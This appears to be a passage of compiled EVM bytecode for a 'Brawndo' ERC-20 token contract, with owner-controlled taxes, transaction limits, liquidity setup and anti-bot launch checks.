61072c578063eb8199481461075757610225565b8063aa4bde28116100f2578063aa4bde28146105f0578063b14218031461061b578063c9567bf914610644578063db8615991461065b578063dca2a8b61461068657610225565b806395d89b41146105485780639c5fd04814610573578063a9059cbb1461059c578063a9c41c6a146105d957610225565b8063691f224f116101a6578063740bf49711610175578063740bf4971461046157806383dcebb11461048a578063893d20e8146104b55780638bfd1d8e146104e05780638c0b5e221461051d57610225565b8063691f224f146103a75780636969c1a4146103d257806370a08231146103fb57806371ebe1c31461043857610225565b80631c939ee9116101ed5780631c939ee9146102e65780631cbbe3e4146102fd57806323b872dd1461031457806324024efd14610351578063313ce5671461037c57610225565b806306fdde031461022a578063095ea7b31461025557806309ef509f1461029257806318160ddd146102bb57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610855565b60405161024c9190613a6e565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190613b29565b610892565b6040516102899190613b84565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613bd8565b610984565b005b3480156102c757600080fd5b506102d0610ad8565b6040516102dd9190613c3a565b60405180910390f35b3480156102f257600080fd5b506102fb610afc565b005b34801561030957600080fd5b50610312610b95565b005b34801561032057600080fd5b5061033b60048036038101906103369190613c55565b610c73565b6040516103489190613b84565b60405180910390f35b34801561035d57600080fd5b50610366610e7c565b6040516103739190613cb7565b60405180910390f35b34801561038857600080fd5b50610391610e8f565b60405161039e9190613cb7565b60405180910390f35b3480156103b357600080fd5b506103bc610e98565b6040516103c99190613cb7565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190613cd2565b610eab565b005b34801561040757600080fd5b50610422600480360381019061041d9190613cff565b6114ac565b60405161042f9190613c3a565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190613d58565b6114f5565b005b34801561046d57600080fd5b5061048860048036038101906104839190613d98565b611654565b005b34801561049657600080fd5b5061049f611818565b6040516104ac9190613cb7565b60405180910390f35b3480156104c157600080fd5b506104ca61182b565b6040516104d79190613de7565b60405180910390f35b3480156104ec57600080fd5b5061050760048036038101906105029190613cff565b611854565b6040516105149190613c3a565b60405180910390f35b34801561052957600080fd5b5061053261189d565b60405161053f9190613c3a565b60405180910390f35b34801561055457600080fd5b5061055d6118a3565b60405161056a9190613a6e565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190613d58565b6118e0565b005b3480156105a857600080fd5b506105c360048036038101906105be9190613b29565b6119c9565b6040516105d09190613b84565b60405180910390f35b3480156105e557600080fd5b506105ee611a25565b005b3480156105fc57600080fd5b50610605611b20565b6040516106129190613c3a565b60405180910390f35b34801561062757600080fd5b50610642600480360381019061063d9190613e3c565b611b26565b005b34801561065057600080fd5b50610659611ce4565b005b34801561066757600080fd5b50610670611dcc565b60405161067d9190613c3a565b60405180910390f35b34801561069257600080fd5b5061069b611dd2565b005b3480156106a957600080fd5b506106c460048036038101906106bf9190613d98565b611ebc565b6040516106d19190613c3a565b60405180910390f35b3480156106e657600080fd5b5061070160048036038101906106fc9190613e7c565b611f43565b005b34801561070f57600080fd5b5061072a60048036038101906107259190613f0b565b61205f565b005b34801561073857600080fd5b5061074161217d565b60405161074e9190613f81565b60405180910390f35b34801561076357600080fd5b5061076c612191565b6040516107799190613c3a565b60405180910390f35b34801561078e57600080fd5b50610797612197565b005b3480156107a557600080fd5b506107c060048036038101906107bb9190613fda565b61226b565b005b3480156107ce57600080fd5b506107e960048036038101906107e49190613cff565b612373565b6040516107f69190613b84565b60405180910390f35b34801561080b57600080fd5b506108146123ce565b6040516108219190613b84565b60405180910390f35b34801561083657600080fd5b5061083f6123e1565b60405161084c9190613b84565b60405180910390f35b60606040518060400160405280600781526020017f427261776e646f00000000000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109729190613c3a565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990614079565b60405180910390fd5b600760ff168360ff1611158015610a305750600760ff168260ff1611155b8015610a435750600760ff168160ff1611155b610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906140e5565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b60006009600a610ae89190614267565b633b9aca00610af791906142b2565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190614079565b60405180910390fd5b610b93476123f4565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90614079565b60405180910390fd5b43600c5411610c67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5e90614358565b60405180910390fd5b610c716000612592565b565b6000610c7d6125c2565b610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb3906143c4565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e685781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de791906143e4565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e73848484612648565b90509392505050565b600b60039054906101000a900460ff1681565b60006009905090565b600b60029054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090614079565b60405180910390fd5b600560009054906101000a900460ff1615610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090614464565b60405180910390fd5b60008111610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc3906144d0565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000479050818110156111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d09061453c565b60405180910390fd5b60006111e4306114ac565b905060008111611229576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611220906145a8565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611298573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bc91906145dd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611345573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136991906145dd565b6040518363ffffffff1660e01b815260040161138692919061460a565b6020604051808303816000875af11580156113a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c991906145dd565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061148482612db6565b61149e8285600b600d9054906101000a900460ff16612fa0565b6114a661307e565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90614079565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115f957806115f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ef9061467f565b60405180910390fd5b5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d990614079565b60405180910390fd5b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60049054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60606040518060400160405280600781526020017f425241574e444f00000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196590614079565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006119d36125c2565b611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906143c4565b60405180910390fd5b611a1d338484612648565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa90614079565b60405180910390fd5b600b600d9054906101000a900460ff1615611b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afa906146eb565b60405180910390fd5b6001600b600d6101000a81548160ff021916908315150217905550565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bab90614079565b60405180910390fd5b600060016103e88461ffff166009600a611bce9190614267565b633b9aca00611bdd91906142b2565b611be791906142b2565b611bf1919061473a565b611bfb919061476b565b9050600654811015611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c399061480d565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611c639190614267565b633b9aca00611c7291906142b2565b611c7c91906142b2565b611c86919061473a565b611c90919061476b565b9050600754811015611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90614879565b60405180910390fd5b8060078190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6990614079565b60405180910390fd5b600560009054906101000a900460ff1615611dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db990614464565b60405180910390fd5b611dca61307e565b565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5790614079565b60405180910390fd5b6000611e6b306114ac565b905060008111611eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea7906148e5565b60405180910390fd5b611eb9816131b6565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc890614079565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff1602179055508082846120359190614905565b61203f9190614905565b600b806101000a81548161ffff021916908361ffff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e490614079565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6121099190614267565b633b9aca0061211891906142b2565b61212291906142b2565b61212c919061473a565b6008819055508063ffffffff168263ffffffff166009600a61214e9190614267565b633b9aca0061215d91906142b2565b61216791906142b2565b612171919061473a565b60098190555050505050565b600b60009054906101000a900461ffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221c90614079565b60405180910390fd5b6000600b60026101000a81548160ff021916908360ff1602179055506007600261224f919061493d565b600b60036101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f090614079565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161236891906149d7565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146123c457600190506123c9565b600090505b919050565b600b600d9054906101000a900460ff1681565b600560009054906101000a900460ff1681565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff166124229190614905565b90506000600b60079054906101000a900461ffff1661ffff1611156124d957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff16856124a291906142b2565b6124ac919061473a565b9081150290604051600060405180830381858888f193505050501580156124d7573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff16111561258e57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff168561255791906142b2565b612561919061473a565b9081150290604051600060405180830381858888f1935050505015801561258c573d6000803e3d6000fd5b505b5050565b43600c5411806125a457506000600c54145b156125bf578060ff16436125b8919061476b565b600c819055505b50565b60008060009050600560009054906101000a900460ff16156125e75760019050612641565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141561264057600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156126b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b090614a3e565b60405180910390fd5b43600c5411156127ee577f000000000000000000000000000000000000000000000000000000000000000063ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff168461271c9190614a5e565b73ffffffffffffffffffffffffffffffffffffffff161415612747576127426001612592565b6127e9565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561279e5761279983436133d5565b6127e8565b6127e783600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133d5565b5b5b612908565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461287f5761287e83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133d5565b5b600f60009054906101000a900460ff1660ff16600c5461289f919061476b565b431080156128ac5750483a115b15612907576000483a6128bf91906143e4565b90506010548110612905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fc90614adb565b60405180910390fd5b505b5b600560009054906101000a900460ff16801561296457506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b80156129ae575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b156129ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e590614b47565b60405180910390fd5b601260149054906101000a900460ff16158015612a545750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a6257612a616134f7565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612aca57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612b22575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612b7157612b31838361368b565b612b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6790614bb3565b60405180910390fd5b5b6000612b7e8585856137cb565b905060008184612b8e91906143e4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdb91906143e4565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612cb65781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c72919061476b565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d01919061476b565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612da19190613c3a565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612f9d577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612f949190613c3a565b60405180910390a35b50565b600081612fcb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161303296959493929190614c0e565b60606040518083038185885af1158015613050573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906130759190614c84565b50505050505050565b60064361308b919061476b565b600c819055506009600a61309f9190614267565b6127106009600a6130b09190614267565b633b9aca006130bf91906142b2565b60336130cb91906142b2565b6130d5919061473a565b6130df919061476b565b6006819055506009600a6130f39190614267565b6127106009600a6131049190614267565b633b9aca0061311391906142b2565b603361311f91906142b2565b613129919061473a565b613133919061476b565b6007819055506005600b60026101000a81548160ff021916908360ff16021790555060076003613163919061493d565b600b60036101000a81548160ff021916908360ff1602179055506005600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b6131bf81612db6565b6000600267ffffffffffffffff8111156131dc576131db614cd7565b5b60405190808252806020026020018201604052801561320a5781602001602082028036833780820191505090505b509050308160008151811061322257613221614d06565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156132c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ed91906145dd565b8160018151811061330157613300614d06565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161339f959493929190614df3565b600060405180830381600087803b1580156133b957600080fd5b505af11580156133cd573d6000803e3d6000fd5b505050505050565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561346e57506000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156134f35780600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b600081819054906101000a900461ffff16809291906134d790614e4d565b91906101000a81548161ffff021916908361ffff160217905550505b5050565b6001601260146101000a81548160ff021916908315150217905550600061351d306114ac565b9050600854811015801561353d5750600560009054906101000a900460ff165b1561366d5760095481106135515760095490505b60006002600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff168461358891906142b2565b613592919061473a565b61359c919061473a565b9050600081836135ac91906143e4565b905060004790506135bc826131b6565b600081476135ca91906143e4565b90506000600b60059054906101000a900461ffff1661ffff16111561364f576000600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff168361361e91906142b2565b613628919061473a565b905061363385612db6565b61364d8582600b600d9054906101000a900460ff16612fa0565b505b6000479050600081111561366757613666816123f4565b5b50505050505b506000601260146101000a81548160ff021916908315150217905550565b60008060019050600560009054906101000a900460ff1680156136f85750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137c15760065483111561371057600090506137c0565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156137b5575060075483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546137b3919061476b565b115b156137bf57600090505b5b5b8091505092915050565b600080600560009054906101000a900460ff1615806138335750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806138875750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561389557600090506139ca565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613918576064600b60029054906101000a900460ff1660ff168461390791906142b2565b613911919061473a565b90506139c9565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561399b576064600b60039054906101000a900460ff1660ff168461398a91906142b2565b613994919061473a565b90506139c8565b6064600b60049054906101000a900460ff1660ff16846139bb91906142b2565b6139c5919061473a565b90505b5b5b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a0f5780820151818401526020810190506139f4565b83811115613a1e576000848401525b50505050565b6000601f19601f8301169050919050565b6000613a40826139d5565b613a4a81856139e0565b9350613a5a8185602086016139f1565b613a6381613a24565b840191505092915050565b60006020820190508181036000830152613a888184613a35565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613ac082613a95565b9050919050565b613ad081613ab5565b8114613adb57600080fd5b50565b600081359050613aed81613ac7565b92915050565b6000819050919050565b613b0681613af3565b8114613b1157600080fd5b50565b600081359050613b2381613afd565b92915050565b60008060408385031215613b4057613b3f613a90565b5b6000613b4e85828601613ade565b9250506020613b5f85828601613b14565b9150509250929050565b60008115159050919050565b613b7e81613b69565b82525050565b6000602082019050613b996000830184613b75565b92915050565b600060ff82169050919050565b613bb581613b9f565b8114613bc057600080fd5b50565b600081359050613bd281613bac565b92915050565b600080600060608486031215613bf157613bf0613a90565b5b6000613bff86828701613bc3565b9350506020613c1086828701613bc3565b9250506040613c2186828701613bc3565b9150509250925092565b613c3481613af3565b82525050565b6000602082019050613c4f6000830184613c2b565b92915050565b600080600060608486031215613c6e57613c6d613a90565b5b6000613c7c86828701613ade565b9350506020613c8d86828701613ade565b9250506040613c9e86828701613b14565b9150509250925092565b613cb181613b9f565b82525050565b6000602082019050613ccc6000830184613ca8565b92915050565b600060208284031215613ce857613ce7613a90565b5b6000613cf684828501613b14565b91505092915050565b600060208284031215613d1557613d14613a90565b5b6000613d2384828501613ade565b91505092915050565b613d3581613b69565b8114613d4057600080fd5b50565b600081359050613d5281613d2c565b92915050565b60008060408385031215613d6f57613d6e613a90565b5b6000613d7d85828601613ade565b9250506020613d8e85828601613d43565b9150509250929050565b60008060408385031215613daf57613dae613a90565b5b6000613dbd85828601613ade565b9250506020613dce85828601613ade565b9150509250929050565b613de181613ab5565b82525050565b6000602082019050613dfc6000830184613dd8565b92915050565b600061ffff82169050919050565b613e1981613e02565b8114613e2457600080fd5b50565b600081359050613e3681613e10565b92915050565b60008060408385031215613e5357613e52613a90565b5b6000613e6185828601613e27565b9250506020613e7285828601613e27565b9150509250929050565b600080600060608486031215613e9557613e94613a90565b5b6000613ea386828701613e27565b9350506020613eb486828701613e27565b9250506040613ec586828701613e27565b9150509250925092565b600063ffffffff82169050919050565b613ee881613ecf565b8114613ef357600080fd5b50565b600081359050613f0581613edf565b92915050565b60008060008060808587031215613f2557613f24613a90565b5b6000613f3387828801613ef6565b9450506020613f4487828801613ef6565b9350506040613f5587828801613ef6565b9250506060613f6687828801613ef6565b91505092959194509250565b613f7b81613e02565b82525050565b6000602082019050613f966000830184613f72565b92915050565b6000613fa782613a95565b9050919050565b613fb781613f9c565b8114613fc257600080fd5b50565b600081359050613fd481613fae565b92915050565b600060208284031215613ff057613fef613a90565b5b6000613ffe84828501613fc5565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614063602a836139e0565b915061406e82614007565b604082019050919050565b6000602082019050818103600083015261409281614056565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b60006140cf600c836139e0565b91506140da82614099565b602082019050919050565b